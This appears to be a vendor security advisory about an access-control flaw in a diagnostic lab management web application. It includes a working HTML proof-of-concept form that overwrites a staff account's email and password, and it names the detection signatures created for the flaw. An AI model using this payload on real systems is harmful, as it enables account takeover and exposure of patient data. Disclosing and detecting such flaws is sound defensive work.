Application Details
Online Diagnostic Lab Management System is a web-based application that serves as an online platform for diagnostic labs to manage their patient laboratory tests. The system also allows patients to book an appointment. The medical testing labs can use the system to manage all appointments, and patient test results.
Vulnerability
Online Diagnostic Lab Management System could allow a remote attacker to bypass security restrictions, caused by improper access control.
Identification
By sending a specially crafted request using the 'id', 'email', 'password' and 'cpass' parameters, an attacker could exploit this vulnerability to takeover any registered staff user account.
<html>
<body>
<form action="http://localhost/odlms/classes/Users.php?f=save_client" method="post" enctype="multipart/form-data">
<input type="hidden" name="id" value="2" />
<input type="hidden" name="firstname" value="Claire" />
<input type="hidden" name="middlename" value="C" />
<input type="hidden" name="lastname" value="Blake" />
<input type="hidden" name="gender" value="Female" />
<input type="hidden" name="dob" value="1997-10-14" />
<input type="hidden" name="contact" value="09456789123" />
<input type="hidden" name="address" value="Sample Address only" />
<input type="hidden" name="email" value="test@test.com" />
<input type="hidden" name="password" value="test@1234" />
<input type="hidden" name="cpass" value="test@1234" />
<input value="Submit" type="Submit">
</form>
</body>
</html>Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to bypass security restrictions by influencing the vulnerable parameters.
Coverage
Idappcom has created signatures 8022351 and 8022352 along with corresponding traffic files.
References
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